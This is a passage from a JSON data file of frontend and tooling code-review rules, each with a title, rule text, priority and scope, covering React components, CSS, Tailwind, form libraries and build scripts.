example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Name a component's props interface after the component","rule":"A component's props interface should be named ComponentNameProps, not a different or unrelated name, so the relationship is obvious.","apiRule":"A component's props interface should be named ComponentNameProps, not a different or unrelated name, so the relationship is obvious. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Don't set href on non-anchor components or use component='a' without href","rule":"Don't pass href to a component that renders a non-anchor (e.g. a div), and if you render an anchor (component='a') make sure it has an href.","apiRule":"Don't pass href to a component that renders a non-anchor (e.g. a div), and if you render an anchor (component='a') make sure it has an href. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Verify color values copied from design tools are valid","rule":"Check hex/color values pasted from design tools (Figma, etc.); an invalid value (e.g. too many characters) silently fails to apply.","apiRule":"Check hex/color values pasted from design tools (Figma, etc.); an invalid value (e.g. too many characters) silently fails to apply. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Prefer overflow: auto over overflow: scroll","rule":"Use overflow: auto so scrollbars only appear when needed; overflow: scroll has caused issues (e.g. trackpad/mouse connect-disconnect) and shows scrollbars unconditionally.","apiRule":"Use overflow: auto so scrollbars only appear when needed; overflow: scroll has caused issues (e.g. trackpad/mouse connect-disconnect) and shows scrollbars unconditionally. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Don't perform navigation from inside state/redux actions","rule":"Leave routing to the framework's router/components; pushing routes from inside a redux action or reducer interferes with framework-managed navigation.","apiRule":"Leave routing to the framework's router/components; pushing routes from inside a redux action or reducer interferes with framework-managed navigation. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Reuse an existing prop to drive behavior instead of adding a new flag","rule":"Before adding a new boolean/prop, check whether existing inputs (e.g. the value of an option) can express the variation; avoid redundant props.","apiRule":"Before adding a new boolean/prop, check whether existing inputs (e.g. the value of an option) can express the variation; avoid redundant props. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Add a blank line before the return statement","rule":"Separate the final return from the preceding logic with a blank line for readability; apply consistently across functions/components.","apiRule":"Separate the final return from the preceding logic with a blank line for readability; apply consistently across functions/components. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Avoid selectors that match all descendants of an element","rule":"Don't use broad child/descendant selectors (e.g. `.parent *`) that style everything inside; target specific classes to keep styles predictable.","apiRule":"Don't use broad child/descendant selectors (e.g. `.parent *`) that style everything inside; target specific classes to keep styles predictable. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Prefer margins over CSS gap where broad browser support is required","rule":"When older-browser compatibility matters, lay out spacing with margins instead of the fl/grid `gap` property, which isn't supported everywhere.","apiRule":"When older-browser compatibility matters, lay out spacing with margins instead of the fl/grid `gap` property, which isn't supported everywhere. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Use Array.isArray() to test whether a value is an array","rule":"Check for arrays with Array.isArray(value) rather than truthiness or length tricks; it is explicit and self-documenting.","apiRule":"Check for arrays with Array.isArray(value) rather than truthiness or length tricks; it is explicit and self-documenting. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Assign a conditionally-chosen component to a capitalized const before rendering","rule":"When the component to render depends on a condition, pick it into a PascalCase const and render <Component /> once, instead of branching the JSX.","apiRule":"When the component to render depends on a condition, pick it into a PascalCase const and render <Component /> once, instead of branching the JSX. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use UPPER_SNAKE_CASE for enum member names","rule":"Name enum members in UPPER_SNAKE_CASE for visual consistency and to distinguish them from regular variables.","apiRule":"Name enum members in UPPER_SNAKE_CASE for visual consistency and to distinguish them from regular variables. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Keep version numbers consistent within a single doc example","rule":"When a how-to walks through one example version, use the same version string throughout; don't let a copy-paste leave a mismatched number in a later step.","apiRule":"When a how-to walks through one example version, use the same version string throughout; don't let a copy-paste leave a mismatched number in a later step. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use git switch -c to create branches in docs and scripts","rule":"Prefer the modern `git switch -c <branch>` over `git checkout -b` in documentation and tooling for clearer intent.","apiRule":"Prefer the modern `git switch -c <branch>` over `git checkout -b` in documentation and tooling for clearer intent. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't set both async and defer on a script element","rule":"`async` and `defer` have conflicting semantics; pick the one that matches your need (usually `async` for independent scripts) rather than setting both.","apiRule":"`async` and `defer` have conflicting semantics; pick the one that matches your need (usually `async` for independent scripts) rather than setting both. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Test units through their real integration point, not their internals","rule":"Don't write tests that hard-code a unit's internal structure or hand-mock data the framework should provide; drive the unit through its actual host (e.g. run a real build for a build plugin) so the test catches what the real graph would.","apiRule":"Don't write tests that hard-code a unit's internal structure or hand-mock data the framework should provide; drive the unit through its actual host (e.g. run a real build for a build plugin) so the test catches what the real graph would. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Omit the default type=\"text/javascript\" on script elements","rule":"`text/javascript` is the default script type; setting it explicitly is redundant.","apiRule":"`text/javascript` is the default script type; setting it explicitly is redundant. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Load non-critical third-party scripts asynchronously","rule":"Scripts like reCAPTCHA that aren't needed until a later user action should be injected/loaded async rather than render-blocking; check the vendor's loading guide.","apiRule":"Scripts like reCAPTCHA that aren't needed until a later user action should be injected/loaded async rather than render-blocking; check the vendor's loading guide. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Keep conditional code near its test fixtures for easy toggling","rule":"Place code that you flip on/off during testing right below the commented-out test data so a reviewer can switch states by editing one block.","apiRule":"Place code that you flip on/off during testing right below the commented-out test data so a reviewer can switch states by editing one block. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Skip browser feature-checks where compilation or context guarantees support","rule":"Don't hand-write defensive guards (or avoid syntax) for a feature when your build target/runtime guarantees it; conversely, don't rely on un-compiled syntax in raw inline scripts whose support is borderline.","apiRule":"Don't hand-write defensive guards (or avoid syntax) for a feature when your build target/runtime guarantees it; conversely, don't rely on un-compiled syntax in raw inline scripts whose support is borderline. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Print diagnostics to the console rather than writing throwaway files","rule":"A quick-lookup dev tool should log to the console instead of writing result files to disk; for analysis-only builds you can even skip writing the bundle via build.write=false.","apiRule":"A quick-lookup dev tool should log to the console instead of writing result files to disk; for analysis-only builds you can even skip writing the bundle via build.write=false. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use the plugin's apply predicate instead of a separate enabled flag","rule":"For Vite/Rollup plugins, decide whether to run inside the `apply` function from env/command rather than gating each hook on a hand-rolled `enabled` boolean.","apiRule":"For Vite/Rollup plugins, decide whether to run inside the `apply` function from env/command rather than gating each hook on a hand-rolled `enabled` boolean. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Prefer async child_process over the sync variants","rule":"Use promisified `exec`/`execFile` instead of `execSync` so the call doesn't block the event loop, especially in build plugins and tooling.","apiRule":"Use promisified `exec`/`execFile` instead of `execSync` so the call doesn't block the event loop, especially in build plugins and tooling. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Scope dev/build tooling to committed state, not work-in-progress","rule":"A diff/trace dev tool that also reads unstaged and staged changes mixes WIP with committed work and can mislead; compare against committed history only.","apiRule":"A diff/trace dev tool that also reads unstaged and staged changes mixes WIP with committed work and can mislead; compare against committed history only. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use relative links instead of unnecessarily prefixing a base URL","rule":"If a same-origin link can be a plain relative href, don't pull in a base-URL helper just to prepend the origin.","apiRule":"If a same-origin link can be a plain relative href, don't pull in a base-URL helper just to prepend the origin. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Follow the repository's established conventions for file placement","rule":"Put new files where the repo's existing structure dictates; question placement that diverges from the prevailing convention even if it technically works.","apiRule":"Put new files where the repo's existing structure dictates; question placement that diverges from the prevailing convention even if it technically works. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Insert new design-token variants in their natural scale order","rule":"When adding a new shade/size token to an enum or union, position it within the existing ordered scale rather than appending it at the end.","apiRule":"When adding a new shade/size token to an enum or union, position it within the existing ordered scale rather than appending it at the end. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Prefer inline utility mapping over naming every Tailwind class","rule":"Extracting each Tailwind combination into a named constant defeats Tailwind's locality benefit; map variant-to-classes at the point of use instead.","apiRule":"Extracting each Tailwind combination into a named constant defeats Tailwind's locality benefit; map variant-to-classes at the point of use instead. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Configure Tailwind class sorting for custom class-holding attributes","rule":"When Tailwind classes move out of `className` into custom props/variables, Prettier no longer sorts them; configure `tailwindAttributes`/regex so sorting keeps working.","apiRule":"When Tailwind classes move out of `className` into custom props/variables, Prettier no longer sorts them; configure `tailwindAttributes`/regex so sorting keeps working. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Spread a known collection to clear all related classes instead of per-class toggles","rule":"When swapping mutually-exclusive classes, remove the whole set with a spread (filtered) and add the active one, rather than enumerating each class with toggle calls.","apiRule":"When swapping mutually-exclusive classes, remove the whole set with a spread (filtered) and add the active one, rather than enumerating each class with toggle calls. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Preserve comments that explain why code exists before deleting them","rule":"Comments documenting non-obvious reasoning (why a hook stays, why an order matters) are guards against accidental regressions; don't strip them during a refactor.","apiRule":"Comments documenting non-obvious reasoning (why a hook stays, why an order matters) are guards against accidental regressions; don't strip them during a refactor. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Encapsulate environment and window checks inside the resolver function","rule":"Don't make every caller perform the same defensive window/global checks before calling a helper; push those checks into the helper so callers stay clean and logic isn't duplicated.","apiRule":"Don't make every caller perform the same defensive window/global checks before calling a helper; push those checks into the helper so callers stay clean and logic isn't duplicated. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Configure revalidation mode instead of clearing errors manually on change","rule":"Control when validation re-runs (onChange/onSubmit) via the form's revalidation setting rather than wiring custom onChange handlers to clear errors.","apiRule":"Control when validation re-runs (onChange/onSubmit) via the form's revalidation setting rather than wiring custom onChange handlers to clear errors. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Ensure every controlled form field has a name to register it","rule":"A controlled field must be given a name prop so the form library can register and track it; a missing name silently breaks validation and submission.","apiRule":"A controlled field must be given a name prop so the form library can register and track it; a missing name silently breaks validation and submission. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Define a constant value as a value, not a method","rule":"If a computed result never changes, compute it once as a constant instead of a function/method that recomputes it on every call.","apiRule":"If a computed result never changes, compute it once as a constant instead of a function/method that recomputes it on every call. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't wrap a view in a modal component when the parent already is the modal","rule":"A view rendered inside a modal shouldn't itself render the modal wrapper; let the parent own the modal so styling and behavior aren't doubled.","apiRule":"A view rendered inside a modal shouldn't itself render the modal wrapper; let the parent own the modal so styling and behavior aren't doubled. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Do not render two labels for a single input","rule":"If a field component already renders a label, don't add a second label element for the same input; reuse the existing one or restructure.","apiRule":"If a field component already renders a label, don't add a second label element for the same input; reuse the existing one or restructure. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Render form fields inside the form provider, not a sibling","rule":"Components that consume form context must be rendered within the provider; structure as Form > FormContent so hooks like useFormContext work.","apiRule":"Components that consume form context must be rendered within the provider; structure as Form > FormContent so hooks like useFormContext work. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Prefer the form library's reset over manual state clearing","rule":"To clear a form, use the library's reset function rather than manually setting dirty flags or hand-clearing fields.","apiRule":"To clear a form, use the library's reset function rather than manually setting dirty flags or hand-clearing fields. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Name state enum members by their meaning","rule":"Choose enum member names that describe the state (idle, success, rejection) rather than an incidental detail; success/confirmed is clearer than reusing 'error' as feedback.","apiRule":"Choose enum member names that describe the state (idle, success, rejection) rather than an incidental detail; success/confirmed is clearer than reusing 'error' as feedback. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Render text through the shared typography component","rule":"User-facing text should go through the design-system typography component rather than a bare element, for consistent styling.","apiRule":"User-facing text should go through the design-system typography component rather than a bare element, for consistent styling. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Remove redundant React fragments","rule":"Drop a fragment wrapper when it surrounds a single child or is otherwise unnecessary.","apiRule":"Drop a fragment wrapper when it surrounds a single child or is otherwise unnecessary. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Write conditionals so a missing value falls back to the default branch","rule":"Express product/variant checks as 'is one of the special cases' so an unset value defaults to the intended fallback, rather than 'equals the default'.","apiRule":"Express product/variant checks as 'is one of the special cases' so an unset value defaults to the intended fallback, rather than 'equals the default'. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use flex-direction: row-reverse instead of order on items","rule":"To reverse the visual order of flex children, flip the container direction rather than setting order on individual items.","apiRule":"To reverse the visual order of flex children, flip the container direction rather than setting order on individual items. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Do not mix a utility-CSS framework and SCSS in the same component","rule":"Style a component with either utility classes or SCSS, not both; mixing them makes precedence unclear and migration ambiguous.","apiRule":"Style a component with either utility classes or SCSS, not both; mixing them makes precedence unclear and migration ambiguous. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Reset a cleared optional selection to null, not a stale value","rule":"When the user deselects an optional field, set the form value to null so the cleared state is represented accurately.","apiRule":"When the user deselects an optional field, set the form value to null so the cleared state is represented accurately. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Model domain data with explicit types, not loose strings","rule":"Type fields with their real shape (object or id) instead of a generic string when the value represents a structured entity.","apiRule":"Type fields with their real shape (object or id) instead of a generic string when the value represents a structured entity. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Put type aliases in the types location, not the interfaces one","rule":"Declarations using `type` (unions, aliases) belong in the types directory; reserve the interfaces directory for actual interfaces.","apiRule":"Declarations using `type` (unions, aliases) belong in the types directory; reserve the interfaces directory for actual interfaces. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Use relative URLs for same-origin API requests","rule":"When the API lives on the same origin as the app, fetch with a relative path so it works across environments without configuration.","apiRule":"When the API lives on the same origin as the app, fetch with a relative path so it works across environments without configuration. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Validate input at the point of entry, not after the side effect","rule":"Check constraints (e.g. file size) when the user provides the input so the action can be blocked, rather than validating only at final submit after the upload already happened.","apiRule":"Check constraints (e.g. file size) when the user provides the input so the action can be blocked, rather than validating only at final submit after the upload already happened. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Await customElements.whenDefined instead of polling with timeouts","rule":"To act on a web component once it is ready, await customElements.whenDefined rather than retry loops or setTimeout guesses.","apiRule":"To act on a web component once it is ready, await customElements.whenDefined rather than retry loops or setTimeout guesses. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Prefer a library's native events over DOM observers","rule":"When an editor or widget exposes an update/change event, subscribe to it instead of polling or watching the DOM with a MutationObserver.","apiRule":"When an editor or widget exposes an update/change event, subscribe to it instead of polling or watching the DOM with a MutationObserver. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Type unsupported props as never to forbid them","rule":"When a component must not receive a prop (e.g. data-testid it ignores), declare it as `never` so passing it is a compile error.","apiRule":"When a component must not receive a prop (e.g. data-testid it ignores), declare it as `never` so passing it is a compile error. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Encode mutually-required props in the type, not at runtime","rule":"Use discriminated unions so invalid prop combinations (e.g. a close button without an onClose handler) fail to compile rather than being allowed and checked at runtime.","apiRule":"Use discriminated unions so invalid prop combinations (e.g. a close button without an onClose handler) fail to compile rather than being allowed and checked at runtime. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Name state as a noun and handlers/actions as verbs","rule":"A boolean state should read like a description (isDiscardModalOpened), while a function should read like an action (openDiscardModal); mismatched naming misleads readers.","apiRule":"A boolean state should read like a description (isDiscardModalOpened), while a function should read like an action (openDiscardModal); mismatched naming misleads readers. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Set server errors through the submit handler's form methods","rule":"Use the form library's setError from the submit callback (often provided as a second argument) instead of separate component state for server-side errors.","apiRule":"Use the form library's setError from the submit callback (often provided as a second argument) instead of separate component state for server-side errors. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Use the form library's built-in error state instead of custom state","rule":"Rely on the form library's error/validation state rather than maintaining parallel useState flags for the same concern.","apiRule":"Rely on the form library's error/validation state rather than maintaining parallel useState flags for the same concern. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Allow abstraction-level names to differ from underlying design tokens","rule":"A prop's value set (e.g. Button color names) is an abstraction over the palette and need not exactly mirror token names.","apiRule":"A prop's value set (e.g. Button color names) is an abstraction over the palette and need not exactly mirror token names. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Reconcile divergent UI patterns with the designer rather than stacking them","rule":"When a new pattern differs sharply from existing ones, decide with the designer to update old, revert new, or intentionally keep both — don't default to keeping both blindly.","apiRule":"When a new pattern differs sharply from existing ones, decide with the designer to update old, revert new, or intentionally keep both — don't default to keeping both blindly. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Provide alt text in the product's language","rule":"Write image alt text in the same language as the UI so screen-reader users get localized descriptions.","apiRule":"Write image alt text in the same language as the UI so screen-reader users get localized descriptions. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use valid npm command syntax in scripts and CI","rule":"Invoke scripts correctly (npm test or npm run test), not invalid forms like 'npm test run'.","apiRule":"Invoke scripts correctly (npm test or npm run test), not invalid forms like 'npm test run'. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Don't read fields off an object only to pass them straight back in","rule":"If a found object can act on itself, call its method directly instead of extracting its props and feeding them back to it.","apiRule":"If a found object can act on itself, call its method directly instead of extracting its props and feeding them back to it. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. 